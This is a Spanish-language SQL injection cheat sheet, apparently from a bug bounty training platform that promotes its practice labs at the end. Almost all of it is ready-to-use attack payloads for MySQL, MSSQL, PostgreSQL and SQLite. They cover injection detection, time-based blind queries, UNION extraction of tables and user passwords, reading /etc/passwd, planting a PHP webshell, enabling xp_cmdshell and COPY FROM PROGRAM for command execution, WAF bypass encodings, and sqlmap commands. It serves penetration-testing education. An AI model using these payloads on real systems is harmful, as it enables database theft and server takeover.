Cheatsheet SQLi
SQL Injection
Referencia rápida
- →Siempre probar isomorphic tests antes de polyglots - menor ruido, mayor precision
- →PostgreSQL trata -- seguido de numero negativo como comentario (sin espacio)
- →Si un campo tiene longitud forzada, combinar inyeccion cross-field entre parametros
- →MSSQL permite stacked queries con ; lo que facilita RCE via xp_cmdshell
- →Usar CHAR() o hex encoding cuando las comillas estan bloqueadas
Deteccion - payloads iniciales
Comilla simple
'
Doble comilla
"
Comentario MySQL
' OR 1=1-- -
Isomorphic test numericoSi devuelve lo mismo que ID=1, la aritmetica se ejecuta en SQL
ID=2-1
Isomorphic test LIKEDoble % revela contexto LIKE sin sanitizar
q=Big%%
Isomorphic test stringConcatenacion de strings confirma inyeccion
name=Big' '
Time-based blind - MySQL
SLEEP basico
' AND SLEEP(5)-- -
SLEEP con parentesis
') AND SLEEP(5)-- -
SLEEP doble comilla
" AND SLEEP(5)-- -
SELECT SLEEP
' AND (SELECT SLEEP(5))-- -
OR SLEEP
' OR SLEEP(5)-- -
BENCHMARK
' AND BENCHMARK(10000000,SHA1('test'))-- -Time-based blind - MSSQL y PostgreSQL
MSSQL WAITFOR
'; WAITFOR DELAY '0:0:5'-- -
MSSQL con parentesis
'); WAITFOR DELAY '0:0:5'-- -
PostgreSQL pg_sleep
'; SELECT pg_sleep(5)-- -
PostgreSQL OR
' || pg_sleep(5)-- -
SQLite RANDOMBLOB
' AND 1=RANDOMBLOB(500000000)-- -
Union-based extraction
Determinar columnas (ORDER BY)Incrementar hasta obtener error para determinar numero de columnas
' ORDER BY 1-- -
UNION SELECT NULL
' UNION SELECT NULL,NULL,NULL-- -
Extraer version MySQL
' UNION SELECT @@version,NULL,NULL-- -
Listar tablas
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
Listar columnas
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
Sin comillas con CHAR()Usar CHAR() cuando las comillas estan filtradas
UNION SELECT CONCAT(user, CHAR(32), password) FROM users-- -
Escalacion a RCE
MySQL - webshell via INTO OUTFILE
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
MySQL - leer archivos
' UNION SELECT LOAD_FILE('/etc/passwd')-- -MSSQL - xp_cmdshell
'; EXEC xp_cmdshell 'whoami'-- -
MSSQL - habilitar xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -
PostgreSQL - COPY TO webshell
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'-- -
PostgreSQL - COPY PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami';-- -
Bypass de WAF
| WAF | Técnica | Payload |
|---|---|---|
Filtro de espacios | Comentarios inline | '/**/UNION/**/SELECT/**/1,2,3-- - |
Filtro de comillas | CHAR() encoding | UNION SELECT CONCAT(CHAR(97),CHAR(100),CHAR(109))-- - |
Filtro de UNION | Case manipulation | ' uNiOn SeLeCt 1,2,3-- - |
Filtro de keywords | Double URL encoding | %252f%252a*/UNION%252f%252a*/SELECT |
Filtro de comentarios | Newline bypass | ' OR 1=1%0AUNION%0ASELECT%0A1,2,3-- - |
Herramientas
sqlmap
Herramienta automatizada de deteccion y explotacion de SQLi
sqlmap -r request.txt --batch --level=5 --risk=3 --dbs
ghauri
Alternativa a sqlmap con mejor deteccion de blind SQLi
ghauri -r request.txt --batch --dbs
Burp Suite + SQLi extension
Deteccion manual asistida con encoding y payloads automaticos
Burp Suite > Extensions > SQLiPy / Hackvertor
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras